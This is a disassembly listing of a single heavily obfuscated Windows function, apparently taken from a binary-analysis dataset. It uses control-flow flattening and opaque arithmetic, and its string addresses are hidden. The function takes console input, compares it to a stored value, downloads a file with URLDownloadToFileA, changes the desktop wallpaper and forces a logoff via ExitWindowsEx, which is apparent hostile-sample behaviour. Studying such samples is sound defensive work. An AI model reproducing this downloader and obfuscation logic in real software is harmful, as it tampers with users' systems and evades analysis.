Function at 0x1400141cb
Capabilities:
Download url
Receive data

Disassembly:
push rax
pushf
mov eax, 0xe1efcfa6
pushf
not eax
add eax, 0xa412c582
xor eax, 0xf82133da
rol eax, 0x82
popf
pushf
not eax
add eax, 0x82eec6bc
xor eax, 0x9adfaeb7
rol eax, 0xe2
popf
cmp eax, 4
jne 0x140014208
popf
pop rax
jmp 0x1400147cb
cmp eax, 0
jne 0x140014217
popf
pop rax
jmp 0x140014325
cmp eax, 3
jne 0x140014226
popf
pop rax
jmp 0x140014625
cmp eax, 1
jne 0x140014235
popf
pop rax
jmp 0x1400144b0
cmp eax, 0xd
jne 0x140014244
popf
pop rax
jmp 0x14001523f
cmp eax, 7
jne 0x140014253
popf
pop rax
jmp 0x140014d4e
cmp eax, 0xe
jne 0x140014262
popf
pop rax
jmp 0x1400152c8
cmp eax, 0xb
jne 0x140014271
popf
pop rax
jmp 0x140015143
cmp eax, 0xc
jne 0x140014280
popf
pop rax
jmp 0x140015187
cmp eax, 8
jne 0x14001428f
popf
pop rax
jmp 0x140014f91
cmp eax, 0x10
jne 0x14001429e
popf
pop rax
jmp 0x14001535e
cmp eax, 2
jne 0x1400142ad
popf
pop rax
jmp 0x140014549
cmp eax, 9
jne 0x1400142bc
popf
pop rax
jmp 0x140015054
cmp eax, 0x12
jne 0x1400142cb
popf
pop rax
jmp 0x140015420
cmp eax, 6
jne 0x1400142da
popf
pop rax
jmp 0x140014d17
cmp eax, 0x11
jne 0x1400142e9
popf
pop rax
jmp 0x1400153be
cmp eax, 5
jne 0x1400142f8
popf
pop rax
jmp 0x140014860
cmp eax, 0x13
jne 0x140014307
popf
pop rax
jmp 0x14001549d
cmp eax, 0xa
jne 0x140014316
popf
pop rax
jmp 0x140015109
cmp eax, 0xf
jne 0x140014325
popf
pop rax
jmp 0x140015357
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rax, qword [0x14000b010]
xor rax, rsp
mov qword [rbp + 0x2f], rax
lea rcx, [0x183577df2]
pushf
sub rcx, 0x43570612
popf
jmp 0x14001436a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
xorps xmm0, xmm0
movups xmmword [rbp - 9], xmm0
xor r13d, r13d
mov qword [rbp + 7], r13
mov qword [rbp + send], 0xf
mov byte [rbp - 9], r13b
lea rdx, [0x1904f916d]
pushf
sub rdx, 0x504f1975
popf
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140015fc1
mov rcx, rax
lea rdx, [0x1baa11b0c]
pushf
sub rdx, 0x7aa0f14c
popf
jmp 0x1400143be
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, [rbp - 9]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.14001d579
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x11], send
mov eax, dword [0x140007804]
mov word [rbp - 0x29], ax
movzx eax, byte [0x140007806]
mov byte [rbp - 0x27], al
mov dword [rbp - 0x26], 0x347334
mov qword [rbp - 0x19], 6
lea rcx, [rbp - 9]
mov rdi, qword [rbp - 9]
mov r15, qword [rbp + 0xf]
cmp r15, 0x10
cmovae rcx, rdi
mov r8, qword [rbp + 7]
cmp r8, 6
jne 0x14001447d
push rax
pushf
mov eax, 0x719912aa
pushf
not eax
add eax, 0xbff679e3
xor eax, 0xde27870e
rol eax, 0xe9
popf
pushf
not eax
add eax, 0xd8212163
xor eax, 0xfacecad8
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xeee6b929
xor eax, 0x875f3e78
rol eax, 0xea
popf
pushf
not eax
add eax, 0x97112026
xor eax, 0x83d400fd
rol eax, 0x89
popf
jmp 0x1400141f9
push rax
pushf
mov eax, 0xde1d6931
pushf
not eax
add eax, 0xcf2d9bf0
xor eax, 0xe10b7bbb
rol eax, 0xfb
popf
pushf
not eax
add eax, 0xbb4d9f06
xor eax, 0x928cc4bd
rol eax, 0x6b
popf
jmp 0x1400141f9
lea rdx, [rbp - 0x29]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x1400144f0
push rax
pushf
mov eax, 0x3a3d40b5
pushf
not eax
add eax, 0xd088c015
xor eax, 0x8c47a79d
rol eax, 0x67
popf
pushf
not eax
add eax, 0xf82465d5
xor eax, 0xf1b804e7
rol eax, 0x3c
popf
jmp 0x1400141f9
push rax
pushf
mov eax, 0x8962a53a
pushf
not eax
add eax, 0xffa70273
xor eax, 0xca7e693a
rol eax, 0xa6
popf
pushf
not eax
add eax, 0xbce795bd
xor eax, 0xc2ed23c4
rol eax, 0xfe
popf
pushf
not eax
add eax, 0xc8840148
xor eax, 0xea4124c5
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xe2afd229
xor eax, 0x9f24368c
rol eax, 0xfe
popf
jmp 0x1400141f9
mov qword [rsp + 0x20], r13
xor r9d, r9d
lea r8, [0x1bf2e7bf9]
pushf
sub r8, 0x7f2e05a1
popf
lea rdx, [0x18b486397]
pushf
sub rdx, 0x4b47ed1f
popf
xor ecx, ecx
jmp 0x140014578
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov r9d, 0x7bf21231
pushf
not r9d
add r9d, 0xeb1e0f39
xor r9d, 0xd069d1b7
rol r9d, 4
popf
pushf
not r9d
add r9d, 0xae3cef69
xor r9d, 0xba1a275d
rol r9d, 0x38
popf
lea r8, [0x18fbcf2e8]
pushf
sub r8, 0x4fbc7c90
popf
xor edx, edx
lea ecx, [rdx + 0x14]
jmp 0x1400145ce
call qword [sym.imp.USER32.dll_SystemParametersInfoA]
xor edx, edx
xor ecx, ecx
jmp 0x1400145d9
call qword [sym.imp.USER32.dll_ExitWindowsEx]
push rax
pushf
mov eax, 0x20765774
pushf
not eax
add eax, 0xa9f88726
xor eax, 0xe936209b
rol eax, 0x4a
popf
pushf
not eax
add eax, 0xafae4a2c
xor eax, 0xdc8706ea
rol eax, 9
popf
pushf
not eax
add eax, 0x985eb8b0
xor eax, 0xab7232a8
rol eax, 0xcb
popf
jmp 0x1400141f9
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x17], xmm1
mov qword [rbp + 0x27], r13
jmp 0x140014632
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r12, rax
mov edx, 0x30912e90
pushf
not edx
add edx, 0xb2c112c0
xor edx, 0xca55879e
rol edx, 0x7d
popf
pushf
not edx
add edx, 0xbe7b1d9a
xor edx, 0x8fd12f67
rol edx, 0x52
popf
pushf
not edx
add edx, 0xf8626e78
xor edx, 0xf752038c
rol edx, 0x48
popf
mov r8d, 0x2d1b5d67
pushf
not r8d
add r8d, 0xaa9cea32
xor r8d, 0xc4de8217
rol r8d, 7
popf
pushf
not r8d
add r8d, 0xa9f104c8
xor r8d, 0xbcc80ba1
rol r8d, 0x16
popf
pushf
not r8d
add r8d, 0xa42b28b8
xor r8d, 0xae12b56b
rol r8d, 0x27
popf
pushf
not r8d
add r8d, 0xba0f3932
xor r8d, 0xf6149b52
rol r8d, 0x2e
popf
mov rcx, rax
jmp 0x1400146ed
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
mov edx, 0x57467b1d
pushf
not edx
add edx, 0x846a5793
xor edx, 0xd5e98840
rol edx, 0xc1
popf
pushf
not edx
add edx, 0x96cd2a20
xor edx, 0xa52881b4
rol edx, 0x8f
popf
lea r8d, [rdx + 0x58]
mov rcx, r12
jmp 0x14001472d
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test r14, r14
je 0x140014785
push rax
pushf
mov eax, 0x469ba05a
pushf
not eax
add eax, 0xbf3ccc12
xor eax, 0xbbbdf9dd
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xcaec1402
xor eax, 0x8e2df9ad
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xdb682f3d
xor eax, 0xd3a3acfd
rol eax, 0x4e
popf
jmp 0x1400141f9
push rax
pushf
mov eax, 0x93789d02
pushf
not eax
add eax, 0xd904ac6f
xor eax, 0xde2175d8
rol eax, 0x58
popf
pushf
not eax
add eax, 0xeb86f6e6
xor eax, 0x9419ee5a
rol eax, 0x49
popf
pushf
not eax
add eax, 0x94f65636
xor eax, 0xadc7f2f0
rol eax, 0x8b
popf
jmp 0x1400141f9
test rax, rax
je 0x140014807
push rax
pushf
mov eax, 0xe3039d0a
pushf
not eax
add eax, 0xe1a7f378
xor eax, 0xe9a2d265
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xe5da9f3d
xor eax, 0xc57e912c
rol eax, 0x96
popf
jmp 0x1400141f9
push rax
pushf
mov eax, 0x330ddd20
pushf
not eax
add eax, 0xbf8cf1da
xor eax, 0xae861e63
rol eax, 0xce
popf
pushf
not eax
add eax, 0xd827f726
xor eax, 0xf6df7661
rol eax, 0xdb
popf
pushf
not eax
add eax, 0xcd48021c
xor eax, 0xb9ad46e3
rol eax, 0x76
popf
pushf
not eax
add eax, 0xe9e7cfba
xor eax, 0xb3deedc4
rol eax, 0xc6
popf
jmp 0x1400141f9
mov ecx, 0x2f9dd1a
pushf
not ecx
add ecx, 0xa4379b17
xor ecx, 0x9e45b717
rol ecx, 0x1c
popf
pushf
not ecx
add ecx, 0xb27d0367
xor ecx, 0xf5e7d169
rol ecx, 0x70
popf
pushf
not ecx
add ecx, 0xe05c3551
xor ecx, 0x8c2b29ee
rol ecx, 0xc
popf
call fcn.1400305c2
mov qword [r14], rax
mov ebx, 0xa352356e
pushf
not ebx
add ebx, 0xa8789e82
xor ebx, 0xc38e56e0
rol ebx, 0xe7
popf
pushf
not ebx
add ebx, 0xeb98e0e8
xor ebx, 0xf9f53e0b
rol ebx, 0xe6
popf
mov edx, ebx
mov rcx, rax
call fcn.140030103
mov edx, ebx
mov rcx, qword [r14]
call fcn.140030103
mov qword [r14 + 8], rax
mov edx, 0x65de4add
pushf
not edx
add edx, 0xb1d65125
xor edx, 0xdc1a1d29
rol edx, 0x9d
popf
pushf
not edx
add edx, 0xe4c2057f
xor edx, 0xd8693603
rol edx, 0xc
popf
pushf
not edx
add edx, 0xbe971f6e
xor edx, 0xc8455d6c
rol edx, 6
popf
mov rcx, qword [r14]
call fcn.140030103
mov qword [r14 + 0x10], rax
mov edx, 0xf5eca71
pushf
not edx
add edx, 0xe6940c6b
xor edx, 0xe4638b01
rol edx, 0xfb
popf
pushf
not edx
add edx, 0xe247f057
xor edx, 0xe0bab01f
rol edx, 0x22
popf
pushf
not edx
add edx, 0xfae3891b
xor edx, 0xc98e8d7c
rol edx, 7
popf
mov rcx, qword [r14]
call fcn.140030103
mov qword [r14 + 0x50], rax
mov edx, 0x73e96e66
pushf
not edx
add edx, 0xaec6f34e
xor edx, 0xc84c3d6d
rol edx, 0xe2
popf
pushf
not edx
add edx, 0x9f96cdf5
xor edx, 0xf0583975
rol edx, 0x4e
popf
pushf
not edx
add edx, 0xf8f08660
xor edx, 0x94866f72
rol edx, 0x8f
popf
pushf
not edx
add edx, 0xd2925831
xor edx, 0xfd49fc2f
rol edx, 0x5f
popf
mov rcx, qword [r14]
call fcn.140030103
mov qword [r14 + 0x58], rax
mov edx, 0x92f6abb4
pushf
not edx
add edx, 0xfe779674
xor edx, 0xd996020c
rol edx, 0x9e
popf
pushf
not edx
add edx, 0xcaf86706
xor edx, 0x95694885
rol edx, 0x7a
popf
pushf
not edx
add edx, 0xc2bcd5f4
xor edx, 0xcb0b9aed
rol edx, 0x53
popf
pushf
not edx
add edx, 0x8b05e5f8
xor edx, 0xdcac561a
rol edx, 0xc9
popf
mov rcx, qword [r14]
call fcn.140030103
mov qword [r14 + 0x60], rax
mov edx, 0xbd4f5a10
pushf
not edx
add edx, 0xbe8a8dd1
xor edx, 0xfdb0e543
rol edx, 0x51
popf
pushf
not edx
add edx, 0x801068b6
xor edx, 0xecb29e86
rol edx, 0x74
popf
mov rcx, qword [r14]
call fcn.140030103
mov qword [r14 + 0x68], rax
mov edx, 0x5c81c0b5
pushf
not edx
add edx, 0xad4255d8
xor edx, 0xc4ff47fe
rol edx, 0xd4
popf
pushf
not edx
add edx, 0xe1b6b7f8
xor edx, 0xff062c05
rol edx, 0xf6
popf
pushf
not edx
add edx, 0xc2993a74
xor edx, 0xdb77aff8
rol edx, 0xda
popf
mov rcx, qword [r14]
call fcn.140030103
mov qword [r14 + 0x70], rax
mov edx, 0xb9b614a9
pushf
not edx
add edx, 0xef0250ff
xor edx, 0xdc4793c7
rol edx, 0x8f
popf
pushf
not edx
add edx, 0xb7d85032
xor edx, 0xf20f0f99
rol edx, 0xaf
popf
pushf
not edx
add edx, 0x860f7070
xor edx, 0x92347cab
rol edx, 0x13
popf
mov rcx, qword [r14]
call fcn.140030103
mov qword [r14 + 0x78], rax
mov edx, 0x1b2ab7ba
pushf
not edx
add edx, 0xdabfda66
xor edx, 0xf7b1a971
rol edx, 0x28
popf
pushf
not edx
add edx, 0xff976979
xor edx, 0xf9743a7b
rol edx, 0x9c
popf
pushf
not edx
add edx, 0x9c487a5f
xor edx, 0x8870949c
rol edx, 0xc5
popf
pushf
not edx
add edx, 0x98fedcf2
xor edx, 0xa270bc88
rol edx, 0xf3
popf
mov rcx, qword [r14]
call fcn.140030103
mov qword [r14 + 0x80], rax
mov edx, 0x94f36704
pushf
not edx
add edx, 0x9c53d239
xor edx, 0x9e2f431a
rol edx, 0xa4
popf
pushf
not edx
add edx, 0xc7fd9717
xor edx, 0xac76474f
rol edx, 0x44
popf
pushf
not edx
add edx, 0xd3716bd1
xor edx, 0xe5d10400
rol edx, 0x10
popf
pushf
not edx
add edx, 0xef1f6713
xor edx, 0x881811aa
rol edx, 0x3d
popf
mov rcx, qword [r14]
call fcn.140030103
mov qword [r14 + 0x88], rax
mov edx, 0xa610addd
pushf
not edx
add edx, 0xca63e0c1
xor edx, 0xcf4de658
rol edx, 0x8a
popf
pushf
not edx
add edx, 0xdc52bc8d
xor edx, 0xc9321fca
rol edx, 0x9c
popf
pushf
not edx
add edx, 0x98b1908a
xor edx, 0xf34d7129
rol edx, 0xa1
popf
pushf
not edx
add edx, 0xd7dba8fc
xor edx, 0xb7aed071
rol edx, 9
popf
mov rcx, qword [r14]
call fcn.140030103
mov qword [r14 + 0x90], rax
mov qword [rbp - 0x49], r14
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x41], xmm0
mov qword [rbp - 0x31], rax
lea rdx, [rbp - 0x41]
lea rcx, [rbp - 0x49]
call fcn.140027864
nop
mov rax, qword [r14 + 8]
mov rcx, qword [rbp - 0x41]
cmp qword [rcx + 0x18], 0x10
jb 0x140014ce4
push rax
pushf
mov eax, 0x34afd729
pushf
not eax
add eax, 0xda3c68da
xor eax, 0xabb12d14
rol eax, 0x19
popf
pushf
not eax
add eax, 0x985570c3
xor eax, 0xb52d6d5f
rol eax, 0x78
popf
pushf
not eax
add eax, 0xa2d465a8
xor eax, 0x8bef530f
rol eax, 0x19
popf
jmp 0x1400141f9
push rax
pushf
mov eax, 0xf28b5633
pushf
not eax
add eax, 0x96e3506a
xor eax, 0xc3bf4938
rol eax, 0x3f
popf
pushf
not eax
add eax, 0xb14a3b14
xor eax, 0xfd55e18f
rol eax, 0x61
popf
jmp 0x1400141f9
mov rcx, qword [rcx]
push rax
pushf
mov eax, 0x732124c9
pushf
not eax
add eax, 0xf7d1b373
xor eax, 0xb4cd1cc1
rol eax, 0x87
popf
pushf
not eax
add eax, 0xd2e4dcef
xor eax, 0x946ba8d6
rol eax, 0xc
popf
jmp 0x1400141f9
call rax
mov rbx, rax
mov edx, 0x212c4105
pushf
not edx
add edx, 0xd4afaef6
xor edx, 0x8303ec16
rol edx, 0x50
popf
pushf
not edx
add edx, 0xe9af2678
xor edx, 0xdc366ad9
rol edx, 0xa5
popf
pushf
not edx
add edx, 0xfb0de4da
xor edx, 0xf202e444
rol edx, 0xfe
popf
mov rcx, rax
call fcn.140030103
mov qword [rsi + 0x18], rax
mov edx, 0xf5aa817f
pushf
not edx
add edx, 0xf00f0a83
xor edx, 0xfdd13a90
rol edx, 0xbe
popf
pushf
not edx
add edx, 0xba7b6a6f
xor edx, 0x881e1a5e
rol edx, 1
popf
mov rcx, rbx
call fcn.140030103
mov qword [rsi + 0x10], rax
mov edx, 0x765228bd
pushf
not edx
add edx, 0x8db387ad
xor edx, 0xf1a271b7
rol edx, 0x6e
popf
pushf
not edx
add edx, 0xbc89b8e9
xor edx, 0xcefdb7bb
rol edx, 0xb
popf
pushf
not edx
add edx, 0xf40afa3e
xor edx, 0x984b7d9c
rol edx, 0x10
popf
pushf
not edx
add edx, 0xa181fa0c
xor edx, 0xbd3b8191
rol edx, 0x8e
popf
mov rcx, rbx
call fcn.140030103
mov qword [rsi + 0x40], rax
mov edx, 0xfa630adc
pushf
not edx
add edx, 0xf48c919d
xor edx, 0xf215b620
rol edx, 0x18
popf
pushf
not edx
add edx, 0x9c97fff9
xor edx, 0xfcb38c25
rol edx, 0xb2
popf
mov rcx, rbx
call fcn.140030103
mov qword [rsi + 0x28], rax
mov edx, 0xbd779124
pushf
not edx
add edx, 0xc6f0180d
xor edx, 0xc4da7085
rol edx, 0x97
popf
pushf
not edx
add edx, 0xff4d4d98
xor edx, 0xaca72f77
rol edx, 0xb3
popf
pushf
not edx
add edx, 0xd6ce0e5b
xor edx, 0xa319e764
rol edx, 0x2e
popf
pushf
not edx
add edx, 0xfcc4dbac
xor edx, 0xaed95ca1
rol edx, 0xcc
popf
mov rcx, rbx
call fcn.140030103
mov qword [rsi + 0x58], rax
mov rcx, rsi
call fcn.140019ef4
mov r8, r14
xor edx, edx
mov rcx, r12
jmp 0x140014ef3
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r8, rsi
xor edx, edx
mov rcx, r12
jmp 0x140014f02
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [0x182c3a74c]
pushf
sub rcx, 0x42c32f2c
popf
jmp 0x140014f1b
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
nop
mov rcx, qword [rbp - 0x41]
test rcx, rcx
je 0x140014f5e
push rax
pushf
mov eax, 0xbe22e537
pushf
not eax
add eax, 0xec2644a4
xor eax, 0x9c871bdc
rol eax, 9
popf
pushf
not eax
add eax, 0x95529dc5
xor eax, 0x8c893c5f
rol eax, 0xad
popf
jmp 0x1400141f9
push rax
pushf
mov eax, 0x9881771f
pushf
not eax
add eax, 0xf7b50083
xor eax, 0x9f003b45
rol eax, 0x8c
popf
pushf
not eax
add eax, 0xd16f364b
xor eax, 0x964cc947
rol eax, 0xfa
popf
jmp 0x1400141f9
mov rdx, qword [rbp - 0x39]
call fcn.1400337b2
mov rdx, qword [rbp - 0x31]
mov rcx, qword [rbp - 0x41]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001500e
push rax
pushf
mov eax, 0xdad1a047
pushf
not eax
add eax, 0x9834154b
xor eax, 0x84adbfc2
rol eax, 0x52
popf
pushf
not eax
add eax, 0xfd03559c
xor eax, 0x8f83dfd2
rol eax, 0x8b
popf
pushf
not eax
add eax, 0xe371b193
xor eax, 0x8a170688
rol eax, 0xf1
popf
pushf
not eax
add eax, 0xf20ac274
xor eax, 0xc9dbc28f
rol eax, 0x25
popf
jmp 0x1400141f9
push rax
pushf
mov eax, 0x9337fb3b
pushf
not eax
add eax, 0x8fa33376
xor eax, 0xa751d051
rol eax, 0x82
popf
pushf
not eax
add eax, 0xc14022a8
xor eax, 0xa090210f
rol eax, 0x7f
popf
pushf
not eax
add eax, 0xe37215ac
xor eax, 0xe904c4b1
rol eax, 0x10
popf
jmp 0x1400141f9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400150af
push rax
pushf
mov eax, 0xc49e08a
pushf
not eax
add eax, 0xf2e8eecc
xor eax, 0xfaada7dc
rol eax, 5
popf
pushf
not eax
add eax, 0xd7e143a1
xor eax, 0xcea78945
rol eax, 0xf2
popf
pushf
not eax
add eax, 0xef63f00e
xor eax, 0xd483f35f
rol eax, 0x32
popf
jmp 0x1400141f9
push rax
pushf
mov eax, 0xc2e9b0ed
pushf
not eax
add eax, 0xd2c292d8
xor eax, 0xc45f4583
rol eax, 0x24
popf
pushf
not eax
add eax, 0xd7473c04
xor eax, 0xc649026d
rol eax, 0x49
popf
pushf
not eax
add eax, 0x9ed7357e
xor eax, 0x84ca0f4d
rol eax, 0x94
popf
pushf
not eax
add eax, 0xd7eafa2e
xor eax, 0xcf8197fc
rol eax, 0x8d
popf
jmp 0x1400141f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140018871
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x41], xmm0
mov qword [rbp - 0x31], r13
push rax
pushf
mov eax, 0xf85ad381
pushf
not eax
add eax, 0xabc05a23
xor eax, 0x94ade9b2
rol eax, 0xc
popf
pushf
not eax
add eax, 0x82d65d50
xor eax, 0xfbe5ead3
rol eax, 0xd4
popf
jmp 0x1400141f9
cmp r15, 0x10
jb 0x1400151e6
push rax
pushf
mov eax, 0x95e76e9b
pushf
not eax
add eax, 0xa83db59a
xor eax, 0xa8a1facd
rol eax, 0xba
popf
pushf
not eax
add eax, 0x8e44c58c
xor eax, 0xeaa59f6c
rol eax, 0x24
popf
pushf
not eax
add eax, 0xbd45cd0b
xor eax, 0x97a17292
rol eax, 0x9b
popf
pushf
not eax
add eax, 0xbe5cca33
xor eax, 0x800b4f3a
rol eax, 0xf0
popf
jmp 0x1400141f9
push rax
pushf
mov eax, 0xea5c5d0c
pushf
not eax
add eax, 0x8b7dde9c
xor eax, 0xdd575732
rol eax, 0x72
popf
pushf
not eax
add eax, 0x95eb3abd
xor eax, 0xaaaaea8b
rol eax, 0xcd
popf
pushf
not eax
add eax, 0xf6f7b132
xor eax, 0x93dabd03
rol eax, 0xe5
popf
pushf
not eax
add eax, 0xd88c7d68
xor eax, 0xa85038b5
rol eax, 0x6b
popf
jmp 0x1400141f9
lea rdx, [r15 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x140015295
push rax
pushf
mov eax, 0x9b38ab84
pushf
not eax
add eax, 0xdba85903
xor eax, 0xae6d3a5a
rol eax, 0xf9
popf
pushf
not eax
add eax, 0xe25e68bb
xor eax, 0x91dbabd4
rol eax, 0xb0
popf
pushf
not eax
add eax, 0xabfe07e0
xor eax, 0xe3a43e86
rol eax, 0xf3
popf
jmp 0x1400141f9
push rax
pushf
mov eax, 0x85b8a7c
pushf
not eax
add eax, 0xb322417e
xor eax, 0xcfbd5c00
rol eax, 0x18
popf
pushf
not eax
add eax, 0xab261b7a
xor eax, 0xa9c0bf8e
rol eax, 0x57
popf
jmp 0x1400141f9
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140015323
push rax
pushf
mov eax, 0xbde770f6
pushf
not eax
add eax, 0xeeb3148f
xor eax, 0xf558235a
rol eax, 0xe0
popf
pushf
not eax
add eax, 0x977a0407
xor eax, 0xf085a574
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x8bdfc274
xor eax, 0x838680e7
rol eax, 0x35
popf
jmp 0x1400141f9
push rax
pushf
mov eax, 0xf044b9d5
pushf
not eax
add eax, 0x89dcbcb7
xor eax, 0xa92c8177
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xb16f89b8
xor eax, 0x991547e4
rol eax, 0x81
popf
jmp 0x1400141f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rdi
call fcn.140018871
push rax
pushf
mov eax, 0xe0559423
pushf
not eax
add eax, 0xdd367764
xor eax, 0xd478409c
rol eax, 1
popf
pushf
not eax
add eax, 0xe9f36a69
xor eax, 0xbecdfb32
rol eax, 0xfe
popf
pushf
not eax
add eax, 0x8a2ccf06
xor eax, 0xf7d6270e
rol eax, 0x92
popf
pushf
not eax
add eax, 0xa200111b
xor eax, 0x8150331f
rol eax, 0x67
popf
jmp 0x1400141f9
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.1400256f3
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [0x1a6895a2d]
pushf
sub rdx, 0x6688e225
popf
lea rcx, [rbp - 0x69]
call fcn.1400237dd
mov rcx, rax
call fcn.140015f11
int3
lea rdx, [0x182e31767]
pushf
sub rdx, 0x42e29f5f
popf
lea rcx, [rbp - 0x69]
call fcn.1400237dd
mov rcx, rax
call fcn.140015f11
int3